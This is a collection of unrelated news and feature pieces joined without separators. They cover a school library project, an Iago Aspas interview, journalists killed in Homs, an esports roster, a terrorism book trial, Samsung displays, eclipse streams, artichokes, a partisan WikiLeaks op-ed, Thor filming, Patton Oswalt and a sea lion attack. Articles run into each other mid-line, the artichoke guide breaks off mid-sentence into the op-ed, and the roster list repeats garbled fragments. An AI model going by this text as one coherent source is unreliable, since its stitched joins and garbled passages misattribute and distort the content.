It's the last phase of a multi-week project. Students are asked to write a summary paper about the book they read.
The student with the best paper will get to place a copy of their new favorite book in 20 new little libraries across Iowa City. But students say their real motivation is to share their love of reading.
"If you read more you'll understand stuff more," Miracle Hall said.
The school's PTO came up with this idea so kids can have year-around access to books. Members say this is just the start.
"We want to grow it so it's not just our school, maybe next it's Twain and Grant Wood, the next year it's all over so it becomes part of our Iowa City Culture," Angelina Jordan said.
Which these students are all for. As this project forced them to ready a new book, which they say might never have tried and liked.
And it let's them leave a legacy as a sixth grader at Alexander.
"How we get to explain some of part of the book and how we get to persuade people to read the book and put it in the library," Hall said.
Iowa City West students are just starting to construct a mini-library that looks a lot like the one right here. Students hope to dedicate it at the Alexander 6th grade graduation at the end of the school year.Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
The last time Iago Aspas attended a competitive Liverpool fixture he was tasked with getting the ball back.
Fifteen years after he watched from the sidelines as Gerard Houllier's side were beaten 3-1 by his beloved Celta Vigo in a UEFA Cup tie at the Estadio Balaidos, the Spanish striker is ready to take on a more demanding a role as he prepares for his Reds debut against Stoke City at Anfield on Saturday.
“I was a ball boy when Liverpool came to play Celta Vigo when I was a kid,” he recalled.
“I was a ball boy for 10 years. I remember that game well as Michael Owen scored but Celta won the game and went through.
“Owen was someone that I liked very much. I really enjoyed watching him.”
Aspas ended a 17-year association with his boyhood club when he joined Liverpool in a £7.7million deal in June.
The 26-year-old walked away as a hero after his dozen goals helped Celta pull off an unlikely escape act as they avoided relegation from La Liga with victory over Espanyol on the final day.
It was Aspas who created the opportunity for Natxo Insa to score the goal which kept them up and he left the pitch in tears.
“It was hard to say goodbye,” he said.
“We had a meal with the team straight after the game and then a couple of days later, when everything had calmed down, we had a lunch to say a final goodbye to the people who were leaving.
“We ended the season on a positive note. I had been there from the age of eight. My house is only 15km from the training ground. It was very difficult to leave the city but when you get the call from a massive club like Liverpool the decision is easy.”
His former Celta team-mate Michu tried to convince him to head for Swansea City instead but there was only one destination for Aspas once Brendan Rodgers made his move.
“Michu is a friend of mine and he spoke to me as Swansea were in the frame,” he said.
“But as soon as Liverpool came along, it was easy. You look at all the factors and everything points to this club.
“This was the best option for me for various reasons - the philosophy of the club and the success they have enjoyed in Europe.”
Aspas has adapted quickly to his new surroundings – netting four goals in Liverpool's friendlies and showing his versatility as he has operated out wide and through the middle.
After the stresses and strains of battling against relegation in his homeland, the Reds' new No 9 is confident he can handle the pressures of life at Anfield and prove a success in English football.
“It has been great so far, very easy to settle in,” he said.
“There haven’t been any negative points. The lads have welcomed me into the dressing room. It’s all very positive.
“It's been made easy because guys like Lucas and Jose Enrique speak Spanish. Everyone has gone out of their way to help.
“Let's face it, Celta are quite a small team in Spain but the pressure when you are fighting against relegation does prepare you for this.
“It is a different kind of pressure when you are at the top of the league, a joyful pressure. I’m just trying to improve and to learn.
“What the manager is looking for and the style he wants is something that we have grown up with in Spain.
“The training here is no different to what I have been doing in Spain. It is similar drills.
“In terms of what I can bring, I can find space, I can get myself away from my markers. I have got technique, skill and speed. I also like to shoot. I have got a decent ability to hit the ball.
“As for the No 9 shirt, that is not crucial. You can’t deny that there have been some big forwards who have worn this shirt with distinction. But it won’t weigh that heavily on me.”
His former Celta boss Paco Herrera, the ex-Liverpool assistant, has described Aspas as “half Messi, half monster”.
In La Liga last season he created more chances from open play than Barcelona’s Lionel Messi.
Yet his fierce competitive streak has got him into trouble at times. Back in March he was banned for four games for head-butting defender Carlos Marchena during the Galician derby with Deportivo La Coruna.
Rodgers has already got problems with one temperamental striker but Aspas insists he won't be courting controversy.
He added: “I'm not sure where Paco was going with that quote!
“Paco was very important for me at Celta and very good for my progress as a player.
“The red card? That was just a case of in one game I lost my head. If you look back at seven years of being a professional, that was just one incident, a one-off. I suppose these things can happen in the heat of a game.”
There will be no gentle introduction to the Premier League for Aspas with a combative Stoke side the visitors to Anfield on Saturday.
Asked if he knew what to expect, he got off his seat to gesture a long throw-in.
“I know all about English football and I know all about the long balls,” he said. “I'm ready for it.”
Aspas looking forward to Suarez partnership
Iago Aspas is relishing the prospect of lining up alongside Luis Suarez once the Uruguayan has served his suspension next month.
With Suarez missing the opening six matches, the new boy from Celta Vigo will be tasked with helping to provide the firepower to ensure Liverpool make a flying start to the new season.
“I just hope that Luis stays at the club because from what I saw last season he was very important for the club and played some amazing games,” Aspas said.
“He is a great player and we don't want him to leave.
“The manager didn't sign me as a replacement for anyone. He signed me for the qualities that he saw in me and the qualities that I can bring. That is why I am here. I will be myself.”BEIRUT (AP) — A French photojournalist and a prominent American war correspondent working for a British newspaper were killed Wednesday by Syrian shelling of the opposition stronghold Homs as President Bashar Assad’s regime escalated its attacks on rebel bases by strafing from helicopter gunships, activists said.
Weeks of withering barrages on the central city of Homs have failed to drive out opposition factions that include rebel soldiers who fled Assad’s forces. Hundreds have died in the siege and the latest deaths further galvanized international pressure on Assad, who appears intent on widening his military crackdowns despite the risk of pushing Syria toward full-scale civil war.
“That’s enough now, the regime must go,” said French President Nicolas Sarkozy after his government confirmed the journalists’ deaths.
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French spokeswoman Valerie Pecresse identified those killed as French photojournalist Remi Ochlik and American reporter Marie Colvin, who was working for Britain’s Sunday Times.
France’s Foreign Minister, Alain Juppe, said the attacks show the “increasingly intolerable repression” by Syrian forces. French Communication Minister Frederic Mitterrand said of the journalists killed: “It’s abominable. Plus, they were being chased when they were trying to flee the bombings.”
Syrian activists said at least two other Western journalists were injured in Wednesday’s shelling, which claimed at least 13 lives.
The Syrian military has intensified its attacks on Homs in the past few days, aiming to retake rebel-held neighborhoods that have become powerful symbols of resistance to Assad’s rule. For the government in Damascus, Homs is a critical battleground to maintain its control of Syria’s third-largest city and keep more rebel pockets from growing elsewhere.
In the northwestern restive province of Idlib, the Britain-based Syrian Observatory for Human Rights claimed that Syrian army helicopters fitted with machine guns opened fire on the village of Ifis. Idlib is a main base of the rebel Free Syrian Army.
Another opposition group, the Local Coordination Committees, said troops conducted raids in the Damascus district of Mazzeh district and the suburb Jobar, where dozens of people were detained. In Jobar, the group said troops broke doors of homes and shops and set up checkpoints.
The Obama administration opened the door slightly Tuesday to international military assistance for Syria’s rebels, with officials saying new tactics may have to be explored if Assad continues to defy pressure to halt a brutal crackdown on dissenters that has raged for 11 months and killed thousands.
The White House and State Department said they still hope for a political solution. But faced with the daily onslaught by the Assad regime against Syrian civilians, officials dropped the administration’s previous strident opposition to arming anti-regime forces. It remained unclear, though, what, if any, role the U.S. might play in providing such aid.
A Homs-based activist, Omar Shaker, said the journalists were killed when several rockets hit a garden of a house used by activists and journalists in the besieged Homs neighborhood of Baba Amr, which has come under weeks of heavy bombardment by forces from Assad’s regime. At least 13 people were killed in Wednesday’s shelling, including the journalists, activists said.
The U.N. estimates that 5,400 people have been killed in repression by the regime of President Bashar Assad against a popular uprising that began 11 months ago. Syrian activists, however, put the death toll at more than 7,300.
He added that intense Syrian troops shelling with tanks and artilleries began at 6:30 a.m. and was continuing hours later. He said the apartment used by journalists was hit around 10 a.m.
An amateur video posted online by activist showed what they claimed were bodies of two people in the middle of a heavily damaged house. It said they were of the journalists. One of the dead was wearing what appeared to be a flak jacket.
Many foreign journalists have been sneaking into Syria illegally in the past months with the help of smugglers from Lebanon and Turkey. Although the Syrian government has allowed some journalists into the country their movement is tightly controlled by Information Ministry minders.
Colvin, from Oyster Bay, New York, was in her 50s and a veteran foreign correspondent for Britain’s Sunday Times for the past two decades. She was instantly recognizable for an eye patch worn after being injured covering conflicts in Sri Lanka in 2001.
Colvin said she would not “hang up my flak jacket” even after the eye injury.
“So, was I stupid? Stupid I would feel writing a column about the dinner party I went to last night,” she wrote in the Sunday Times after the attack. “Equally, I’d rather be in that middle ground between a desk job and getting shot, no offense to desk jobs.
In Geneva, the International Red Cross said it was holding talks with members of the opposition Syrian National Council. The ICRC called Tuesday for a daily two-hour halt to fighting in Syria so it can bring emergency aid to affected areas and evacuate the wounded and sick.
Head of ICRI operations for the Middle East, Beatrice Megevand-Roggo, told The Associated Press on Tuesday that the ICRC had almost no contacts with opposition figures inside Syria.
The journalists’ deaths came a day after a Syrian sniper shot dead Rami al-Sayyed, a prominent activist in Baba Amr who was famous for posting online videos, Shaker and the Local Coordination Committees activist group said.
On Jan. 11, award-winning French TV reporter Gilles Jacquier was killed in Homs. The 43-year-old correspondent for France-2 Television was the first Western journalist to die since the uprising began in March. Syrian authorities have said he was killed in a grenade attack carried out by opposition forces — a claim questioned by the French government, human rights groups and the Syrian opposition.
Last week, New York Times correspondent Anthony Shadid died of an apparent asthma attack in Syria after he snuck in to cover the conflict.Apex's new roster for the NA LCS Summer Split includes newcomers Ji "Ray" Won Jeon, Apollo "Apollo" Price, Danil "DiamondProx" Reshetnikov, Danny "Shiphtur" Le, Kevin "KonKwon" Kwon and Jang-won "Roar" Oh.
A few members of the spring split challenger roster remain. They are sub Lee "Shrimp" Byeong-hoon as well as Cristian "Cris" Rosales, Lae-Young "Keane" Jang and Alex "Xpecial" Chu.
Apex qualified for the NA LCS Summer Split after taking first place in the NA Challenger Series Spring Split, a 3-1 victory over Team Dragon Knights in the Spring Playoffs Grand Finals and finally a 3-0 victory, once again over Team Dragon Knights in Match 4 of the Summer Promotion tournament, earning them a spot in the NA LCS.
Diamondprox comes to Apex after a turbulent spring split. He started out with Unicorns of Love, but was unable to play with the team after the first two weeks due to visa issues. He was forced to return to Russia, where he returned to Gambit (his former team), playing out the remainder of the split in the LCL. His KDA over the course of the four games he played with UoL was 3.5.
Apollo and Shiphtur most recently played for Team Dignitas. Apollo was with Team Impulse for almost a full year before that while Shiphtur was with Team Coast from June 2013-May 2014, when he joined Dig. During the 2016 Spring Split, they had an appalling 4-14 record putting them in dead last place before a loss to Team Dragon Knights in the Summer Promotion tournament which lost them their LCS spot.
KonKwon comes from NRG Esports, with whom he achieved a dead average 9-9 record in the NA LCS Spring Split before losing to Team Liquid 0-3 in the Spring Playoffs, finishing 5th-6th. He averaged an impressive 133 assists over 17 games in the regular season.
Ray and Roar are Apex’s two imports. Ray was a sub for EDG, but only played two games for them in the 2015 LPL Summer Split. Roar subbed for Incredible Miracle during the 2015 LCK Summer Split and played 32 games, but averaged just a 2.6 KDA. He left Incredible Miracle in December 2015.
Ten man rosters have been attempted by a few other teams in the past, but swiftly abandoned when team synergy suffered as a result. Notably Longzhu, Team Liquid and Royal Never Give Up all debuted ten man rosters at the start of the 2016 Spring Split but none of them lasted as players were quickly benched.
The full Apex roster for the NA LCS Summer Split is:
Ji " Ray " Won Jeon (Top)
" Won Jeon (Top) Cristian " Cris " Rosales (Top)
" Rosales (Top) Lee " Shrimp " Byeong-hoon (Jungle)
" Byeong-hoon (Jungle) Danil " DiamondProx " Reshetnikov (Jungle)
" Reshetnikov (Jungle) Lae-Young " Keane " Jang (Mid)
" Jang (Mid) Danny " Shiphtur " Le (Mid)
" Le (Mid) Apollo " Apollo " Price (AD Carry)
" Price (AD Carry) Jang-won " Roar " Oh (AD Carry)
" Oh (AD Carry) Alex " Xpecial " Chu (Support)
" Chu (Support) Kevin "KonKwon" Kwon (Support)
Annabelle "Abelle" Fischer is a writer for theScore esports with a love for Dota 2, birds and cheese. You can follow her on Twitter.Former Qantas cabin cleaner Belal Saadallah Khazaal faces up to 15 years in jail after being convicted over a terrorism "do-it-yourself" jihad book, and a possible retrial on a second charge.
A NSW Supreme Court jury yesterday said it was unable to reach a verdict on the second charge related to the 110-page book written in Arabic.
The jury on Wednesday found the Sydney man guilty of making a document – between September 20 and 23, 2003 – connected with assistance in a terrorist act, knowing of that connection.
But the jury was discharged yesterday after failing to agree on a verdict on a charge of attempting to incite others to engage in a terrorist act, between September 22 and October 8, 2003.
The second charge related to Khazaal arranging for the book to be posted on a website www.almagdese.com.
Khazaal, 38, of Lakemba in Sydney's south-west, had denied both charges at his trial, which began four weeks ago.
The book was titled: Provisions on the Rules of Jihad – Short Judicial rulings and organisational instructions for fighters and Mujahideen against infidels.
US international terrorism consultant Evan Kohlmann told the jury the book was "do-it-yourself jihad," saying it was aimed at people who "don't have Osama bin Laden's telephone number".
Both the crown and defence agreed that, apart from a few paragraphs written by Khazaal, the book was compiled from material written by others.
His barrister George Thomas emphasised this material was freely available in the public domain and called evidence to show Khazaal was part of the publishing team of a Sydney Islamic magazine.
But crown prosecutor Peter Neil SC said Khazaal "directly turned his mind to important sections of the book by editing them to put them into a final format".
Mr Neil said the book promoted jihad terrorist acts, including exploding bombs, shooting down planes and assassinating people such as US president George W Bush.
Australia also was listed as a target.
The book's dedication list included martyrs of Islam, prisoners "languishing in the prisons of tyrants, be it infidels, apostates or hypocrites, Christians or Jews".
Much emphasis was placed at the trial on two chapters, one on assassinations and one headed The Last Word, which refers to Ayman Al-Zawahiri.
Mr Neil described him as a very well known international terrorist who was "very high up in al-Qaeda".
Twelve methods of assassination were listed including sniper attacks, booby trapping cars, smothering, and shooting down planes.
Under cross-examination from Mr Thomas, Mr Kohlmann agreed the book did not give instructions on how to make explosives or poisonous materials.
But he said it could be used by "homegrown cells" in combination with such instructions which could be found elsewhere.
"It is a recipe for disaster when you mix them together you have a cocktail for a terrorist attack" he told the jury.
Evidence relating to ASIO matters was given to the jury in closed court. At the start of the trial, Justice Megan Latham warned the jurors it was a criminal offence for anyone to disclose the identity of an existing or past ASIO employee.
In open court, the jury was told Khazaal was interviewed on 10 occasions from April 1 to April 23, 2004, by ASIO officers in the presence of AFP officers.
His house was search on May 6, 2004 and he was arrested the next month, on June 2.
The jury was shown footage of the search of his home office which showed thousands of books, magazines, videos and audio tapes, neatly stored, mainly in shelves.
The judge, who revoked Khazaal's bail on Wednesday after the guilty verdict, adjourned his sentencing hearing to October 24.
The second charge will also be mentioned then, by which time the Director of Public Prosecutions (DPP) may have decided on whether there will be a re-trial.Samsung is getting closer to commercializing the first devices featuring a plastic-based (flexible) display. According to a report from the OLED Association, the Samsung Galaxy Note 3 will be on show at the IFA 2013 Berlin show in September, and its plastic screen could be one of the phone’s most talked features.
According to OLEDA’s research, the screen of the Galaxy Note 3 will be made out of a thin plastic material that is not only shatterproof, but also lighter and thinner than current glass substrates.
The screen of the Note 3 is supposedly going to be similar to the Youm displays showed off at CES back in January. However, that doesn’t mean that the Note 3 will necessarily feature a curved screen like the prototypes we’ve seen so far. The screen is more likely to maintain a flat shape.
Whilst the screen of the Note 3 is said to be around half an inch larger than the Note 2, a plastic substrate would make it much thinner and lighter than its predecessor. According to a diagram by the OLEDA, a plastic-based screen would be half the weight of a glass-based OLED panel and an amazing less than a third the weight of a similarly sized conventional LCD display. Needless to say, moving to plastic would enable massive weight reductions, potentially enabling manufacturers to pack heavier batteries without making phones cumbersome to hold.
However, there’s a warning in the report that makes us wary. OLED A doubts that Samsung will be able to deliver full HD RGB resolution on plastic, and, even if it is, low yields are likely to limit the number of units that Samsung is going to be able to sell. The Note 3, while not as popular as the Galaxy S4, is likely to sell tens of million of units, making it crucial for Samsung to ensure a steady supply of displays. Therefore, it’s possible, says the report, that Samsung will only sell the plastic-based display version of the Note 3 in certain markets, offering versions with a conventional, glass-based display in most markets.
With about five months until IFA, Samsung still has time to iron out the kinks. All eyes will be on the Koreans to see if they can kick-start the next revolution in mobile displays.*Update: You can see the live feeds here. *
Chances are you won't be present in person during tomorrow's total solar eclipse, which will only be visible on land from a tiny sliver of Australia. Not to worry – the internet has got your back, and there are plenty of ways to catch the action from the comfort of your own browser.
A total solar eclipse occurs when the moon gets in between the Earth and sun, casting a shadow across a large swath of our planet. Earlier this year, parts of western North America were in line to see an annular solar eclipse, where the moon is slightly farther away from Earth than normal and therefore doesn't appear big enough to quite cover the sun.
The total solar eclipse, which will reach its peak over land tomorrow at 12:30 p.m. PST (3:30 p.m. EST), will be the real deal. Viewers in the path of the moon's shadow will see a giant black circle completely swallowing up the sun for several minutes. As you can see from the map above, most of the time the moon will be traversing over the open ocean. The only major populated area on land to see the eclipse will be Australia, and that's where eclipse enthusiasts are converging. Wired Science will also be hosting three video feeds tomorrow that will show the eclipse live.
The first comes from the Slooh Space Camera, which will have a three-person crew near Cairns to film the celestial event and broadcast it to the world. Photographer Anjali Bermain, Astronomy magazine's Bob Berman, and astro-imager Matt Francis of the Prescott Observatory in Arizona will be discussing the eclipse from Australia. They will be joined by a team of experts during a live Google+ hangout, including heliophysicist Lucie Green from Mullard Space Science Laboratory and Slooh president Patrick Paolucci. Viewers can ask questions on Slooh's homepage and snap live pictures using a Pinterest account. The feed starts live Nov. 13 at 11:30 a.m. PST (2:30 p.m. EST).
The second feed will be from the Cairns Eclipse 2012 Ustream channel, a tourism promotion group. The feed is co-sponsored by the Astronomical Association of Queensland, NASA, and several other partners. It begins around dawn before the event, at 11 a.m. PST (2 p.m. EST).
A third video comes from the Cairns City Webcam, which will be pointed just above the city's trinity inlet where the sun and moon are expected to come in line with the Earth. It will be broadcasting at 12:39 p.m. PST (3:39 p.m. EST) on Nov. 13, as totality happens over Cairns.
Total solar eclipses over land are relatively rare, with any given region expected to have one every 375 years on average. The next total solar eclipse will take place over equatorial Africa on Nov. 3, 2014, though the region where it will happen in is notorious for clouds. A total solar eclipse will pass through North America on Aug. 21, 2017, ending a 26-year U.S. eclipse drought.
*Image: NASA *How to Purchase, Cook, and Eat a Globe Artichoke
Hooray! It’s artichoke season! Time to rejoice for this edible thistle. Ever since I was a little girl, artichokes have been one of my favorite foods, quite possibly my #1. On birthdays, when my mom would ask me what I wanted for my birthday dinner, I have no recollection of any other menu item requested besides artichokes. The flavor, the sauce, and the ritual were and still are so fun. Poetic even. Plucking the leaves, dipping them into some luscious sauce, sliding them between your teeth, and working your way to the grand finale: The Heart! With it’s tender mouthfulls of incomparable vegetal flavor. Thorny artichoke…I heart you.
If you’ve never eaten one, or don’t know how, you’ve been missing out. But today is your lucky day, for I am going to teach you how to embrace this odd delicacy, and forever be changed.
Noah and I ADORE artichokes, and it was soon after we met that I remember calling my mother to gush, “He made me artichokes…I am in love.” Our artichoke romance has remained steadfast over the years, deepening even, as we have come to appreciate their cleansing and detoxifying qualities. They stimulate the liver, and gall bladder, including the production of bile. In other words, they are a digestive aid and help break down fat. In Alaska, when we could get our hands on a batch of king crab legs, we always served them with artichokes to help our bodies process the rich meal. They make a great first course, and can be stuffed with grains, bread, or meats for a stand-alone meal.
HOW TO PURCHASE ARTICHOKES
Early spring, as in NOW, is the peak season for artichokes, but they are spottily available throughout the summer with another spike in late fall.
Look for specimens that have fleshy green leaves that feel firm when squeezed around the base of the thistle. Size matters only in regards to cooking time, so it’s best to buy artichokes of similar size. Some bruising or brown marks on the outside of the leaves is of no concern, but avoid ones with siginificant dark brown marks on the inner part of the leaves, and close to the heart. Store in the vegetable drawer for 1 to 1.5 weeks, but the sooner they are eaten, the better.
Conventional artichokes are reputed to be high in pesticides, so it is strongly encouraged to seek out organic varieties.
HOW TO COOK ARTICHOKES
1. Pull the scrappy looking lower leaves from the base of the artichoke.
2. Halve a lemon, and keep nearby. Cut the stem from the base of the artichoke. Try to keep it level, as this will be the base the artichoke sits on when served.
3. Immediately rub the cut surface with lemon to prevent oxidization. Artichokes turn brown quickly wherever they’re cut, so don’t delay.
4. Slice the top 1/3 from the artichoke.
Now quick, get the lemon!
5. Use scissors or kitchen shears to snip the tips from the leaves. This tidies them up and removes thorns if there are any.
And again, don’t forget the lemon.
6. Set up your steaming apparatus of choice and fill the pot with a couple inches of water. Make sure the pot is big enough to fit all your artichokes into.
7. Place artichokes into the pot. Bring water to a boil. Cover pot and reduce heat to low/med-lo. Let the artichokes steam undisturbed for 45 minutes to 1 hour. This is a good time to make your dipping sauce (see note below).
8. After 45 minutes, begin checking the artichokes for doneness by tugging at an inner leaf with kitchen tongs. When the leaves pull away easily, the artichokes are done. It’s a good idea to double-check doneness by tasting the leaves. Simply slide the base of the leaf between your teeth. The flesh should come away easily and be tender. Cooking time may vary depending on size of artichoke, so check the smaller ones first.
HOW TO EAT AN ARTICHOKE
Apologies… the lighting here took a turn for the romantic.
1. Working from the outside in, pull a leaf from the artichoke.
2. Dip the base of the leaf into your sauce of choice (see note below).
3. Eat the base of the leaf by placing it gently between your teeth and pulling so that the tender meat of the artichoke remains in your mouth.
4. I like to keep a discard bowl on the table for the tough, fibrous portion of the leaves.
5. As you near the center of the choke, the leaves will become thinner. You can eat these by pinching a small bunch of them away at a time, and biting just the base from the leaves. Eventually the leaves will become too thin to eat. This center |
by state actors and should be treated as such a service by the United States.”
US Senator Ron Wyden (D-OR) was the lone dissenting vote on the bill, which was approved by the Senate Intelligence Committee in late August. Wyden is on board with Congress’s general anti-Russia/anti-WikiLeaks hatefest, but worries that the bill’s “novel” phraseology might be “applied to journalists inquiring about secrets.” That’s a valid concern as far as it goes, but it doesn’t go nearly far enough.
Simply put the US government’s problem with WikiLeaks — the basis for its claim of hostility — is that WikiLeaks tells the truth about the US government.
WikiLeaks’s disclosures include material on US war crimes in Iraq and Afghanistan, torture at the Guantanamo Bay detention facility, and US spy operations against putative allies (including a scheme cooked up by the CIA and then Secretary of Secretary of State Hillary Clinton to spy on United Nations officials).
“Vault 7,” the current round of WikiLeaks disclosures, reveals the tools the Central Intelligence Agency uses to compromise our computers, our telephones, even our televisions, Not to mention the tools it uses to spy on, get this, other US intelligence agencies.
Not that the US government is the sole target of this “non-state hostile intelligence service.” WikiLeaks embarrasses governments around the world by showing their subjects the secrets those governments (yes, including Russia’s) don’t want them to see.
Ever since passage of the National Security Act of 1947, the US government’s “defense” and “intelligence” apparatuses have accustomed themselves to growing and operating absent any obligation or accountability to the citizens and taxpayers who pay — in treasure, and sometimes in blood — for their games.
Bottom line: The CIA, the NSA and the other “alphabet soup” agencies of the US government spy on you, lie to you, and commit crimes in your name with presumed impunity. WikiLeaks merely shows you what they’re doing, and has yet to be caught in a lie.
When the US Senate Intelligence Committee declares WikiLeaks “hostile,” the obvious question is “hostile to whom?” WikiLeaks is allied with the American people, while the US intelligence community — and, for the moment at least, the US Senate Intelligence Committee — is our enemy.Start up the engines on the “intergalactic buddy road movie” from Chris Hemsworth and Mark Ruffalo: shooting for Thor: Ragnarok is underway.
Marvel co-president Louis D’Esposito wished director Taika Waititi (What We Do in The Shadows), the cast, and crew good luck as production picked up Monday in Australia.
Best of luck to @TaikaWaititi and the whole cast and crew of #ThorRagnarok. July 4 they started filming. Australia is in the future. — Louis D'Esposito (@louisde2) July 4, 2016
Ant-Man director Peyton Reed, another member of the Marvel director fraternity, sent along fellow good wishes along with a pro tip: “remember: explosions!” Waititi jokingly replied by showing the poor Day 1 attendance.
@louisde2 Pretty sweet 1st day. Look at all these people who turned up to work. #Blessed #support pic.twitter.com/xJQdJzyFwR — Taika Waititi (@TaikaWaititi) July 4, 2016
Thor has been gone a relatively long while in the MCU. Though he appeared in last year’s Avengers: Age of Ultron, he did not pop up in May’s Captain America: Civil War — same goes for Ruffalo’s Hulk.
Thor: Ragnarok — also starring Tom Hiddleston, Idris Elba, Anthony Hopkins, Cate Blanchett, Jeff Goldblum, Tessa Thompson, and Karl Urban — is due Nov. 3, 2017.Image Credit: Dark HorsePatton Oswalt is a bigger Firefly geek than you. The stand-up comic and actor was so taken with the canceled Fox series, he couldn’t stop pestering creator Joss Whedon with questions about it on the set of Dollhouse, on which Oswalt appeared for two episodes. Instead of getting fired, Oswalt got another job out of it. He’s writing the Wash-centric Serenity: Float Out, a Dark Horse comic coming out on June 2 that picks up where Serenity — the big screen version of the series — left off.
Oswalt recently talked with PopWatch about his love for Firefly — which was clearly evident in his voice — what readers can expect in Float Out, what makes Whedon so brilliant, and why Dr. Horrible is an “asshole.”
ENTERTAINMENT WEEKLY: I had no idea you were a Firefly fan.
PATTON OSWALT: Man, I really loved that show. It was such a bummer when it got canceled. Joss Whedon keeps creating these zeitgeist-grabbing, fun, brilliant shows that then Fox — It’s like he hands them over to an angry punk that throws them against the wall and ruins them. [Laughs] I don’t understand why he has this relationship. It’s so odd.
So you watched it when it was on Fox? You were a lover from the start?
Yes. I watched the first two episodes. This was just before I got my TiVo. They kept moving it around and I would miss it because I’d be traveling and doing stand-up. Then I watched the whole [thing] on DVD. Seeing it all like that, it made me love it. Then it made me love it defensively because at that point, it was already dead. It was like I was mourning this great thing that got beaten to the ground for no reason.
What did you love about the show?
Clearly, he was sweating blood over creating this universe and then knew it so well that the characters could talk about it almost casually. The way that he would toss off phrases and slang. He loves science fiction and action and spaceships, so that’s great. But he also has, I think, such a good ear for how someone’s slang can tip off where they’re from, who they stand with, what kind of person they are. I just love all that stuff. I just want the brains and the fun behind it. Usually, you get one without the other. He’s one of those few guys where you get both. You get the brains and you get the fun.
Do you have a favorite episode?
Favorite episode is definitely “Out of Gas.” It’s just a brilliant episode!
Favorite character?
Kaylee. She’s so cute and so cool. That actress was so amazing at talking the way that people would actually talk in panicky situations. When they’re trying to get ready to do the Crazy Ivan, she’s like, “Push the button!” Jayne says, “What button?” She goes, “Look at where I’m pointing!” Like, “Look at me! I’ll tell you what to do!” It felt like how people would actually act. She took that character, who is so positive, and really made it fun and funny. So upbeat. Usually, in the space opera, people want to play the Han Solo character and she took what could have been a thankless role and made it amazing.
How did this Firefly comic come together? Did you approach them or did they come to you with it?
I was on an episode of Dollhouse. Joss and I could not have more interests in common. I was talking to him like an annoying fanboy about Firefly and I think he was being very tolerant of me. I was like, “Do you remember in that one episode when…” I had read the Firefly comics that they did for Dark Horse. It’s like being a Wire fan. Any extras that are out there, you want them because there’s such a finite amount of the thing that you love. The fact that he was expanding on the story about the man with the blue hands in the comics, it just made you go, “Oh, hey, what about…?” He said, “If you have an idea for a story, pitch me some stories.” I pitched him three stories and he really liked the Wash one, so that’s the one we did.
What’s the premise of the story?
It’s called Float Out. “Float out” is an actual nautical term. When you christen a ship, you knock a champagne bottle against it, give it its name, and then you float it out of dry docks. It’s three friends of Wash, who we’ve never met, but they’ve all worked with him in his wild past. They have pooled up enough money to get their own ship, a class-four Firefly ship, which is the next generation of the Firefly. They’re going to call it The Jet Wash. They’re christening it after him and they’re going to float out and start whatever their adventures are. Without saying much more — just because there’s a lot of surprises in the story — it’s three pilots telling Wash stories.
Obviously, you have a background in comedy and Alan Tudyk was really funny in the role. Are the stories humorous or will it be more nostalgic in tone?
I hope that it’ll be in the tone of Firefly. Firefly had a lot of humor. It had a lot of horror. It had a lot of heartfelt stuff. It had a lot of cynicism about religion and life and interpersonal relations and survival. I hope that I’ve wrapped up all those elements in it. It’s not a goofy, Mad Magazine-type story. I hope that it could almost stand as a short episode of Firefly. I would hope. I don’t know if it’s up to the standards of Joss and his writers. That’s up to the readers to decide.
Was it difficult channeling Joss’ voice?
No. You know what’s really cool about Joss? Yeah, he does have a voice, but what I’ve noticed is, if you watch Buffy and then Angel and Firefly and Dollhouse, he is maturing as a writer. He listens. He really does want to listen to other people and learn different kinds of voices. The “Joss Whedon voice” is to have a very open and nonjudgmental ear. That, to me, would be the Joss Whedon voice.
Will we see any characters from the show in the comic?
I’m not going to say.
Did you cross paths with Alan on Dollhouse?
We did cross paths on Dollhouse. He’s a genuinely, really funny guy. A lot of actors, you see them on the show and they’re really funny because they have a funny or witty script. But then just hanging out with him, he’s a really genuinely, witty guy. What you realize is that’s why he gets those roles. He knows what wit sounds like. He knows how it rolls off the tongue. The thing about the character of Wash that I thought Alan brought to it is he has Kaylee’s almost pathological [optimism], but it is laced with some cynicism. It almost feels like he puts the positive outlook over panic, which I really like.
Do you remember what your reaction was when Wash died in the film Serenity?
I know that Joss kills off a lot of your favorite characters because that’s how life goes. But I was just like, “Really?” The kind of sunniest person… Just, “Really?” That was almost crossing the line for me. That really sucked, but then I said, “Thank God. It could have been Kaylee,” which would have been inexcusable. [Laughs]
I remember I gasped and then I went, “Of course.”
Yes! That’s exactly what I did! I was like, “Oh, wait a minute. It is Joss.”
That was my reaction when I saw Dr. Horrible’s Sing-Along Blog too. I should have known.
Of course. Although that was, I felt, way more justified because this is about a supervillain finally committing to what being a supervillain is. What he comes to realize, which I thought was so genius, is the reason supervillains are supervillains is because they had a hand in destroying their own hope. If you look at the origin of any supervillain, that’s where they come from. It’s their fault. They drive themselves to the point where they go, “There’s no rhyme or reason. It doesn’t f—ing matter. I’m going to destroy everything now.” Which is a horrible place to find yourself in. That last, single line where he says, “Me.” You’re like, “Yep. Take a bow, asshole. You’re a supervillain now.” That was brilliant.
Are you going to write more Firefly comics in the future?
I hope so. I’ve pitched a few more comics to Dark Horse that I want to do. We’ll see. I’m so busy doing this play right now in New York and then I’m writing a book for Scribner. If a good story suggests itself to me the way that it did with Firefly where I’m like, “Oh, I’ve got to tell that!,” then yes, I’ll totally do that.Dan Carlin was posing for a picture with a fish he had just caught when a sea lion leaped from the water and dragged him 20 feet under the sea
Dan Carlin’s wife told him to smile for a picture on their boat as he held up one of the yellowtail fish they had caught that day off San Diego. Then a sea lion leaped out of the water, bit into his hand and yanked him overboard.
The animal, weighing hundreds of pounds, smashed the 62-year-old accountant against the boat’s side and sent his legs flying into the air like a rag doll’s before it dragged him some 20 feet (six metres) underwater, Carlin said on Wednesday, more than three weeks into his recovery after the incident on 5 April.
“After 15 seconds, I thought I was going to die,” Carlin said. “I continued to struggle, but thought this is the way I was going to die. It was unbelievable to me.”
Then, as quickly as the attack happened, Carlin was released. He swam towards the surface as the sea lion bit his foot, puncturing a bone.
He managed to make his way back to his boat. He and his wife, Trish, moved it closer to land while his hand gushed blood and he struggled to breathe because of his battered chest. At one point, Carlin said, he lost his vision.
Carlin spent two days in the hospital. The gash on his hand required 20 stitches.
Carlin said he hoped his hand would have healed enough so he could go fishing again next week. An experienced surfer, scuba diver and fisherman, Carlin said he and his wife always took precautions to properly dispose of any guts or carcasses to ensure they did not go in the water.
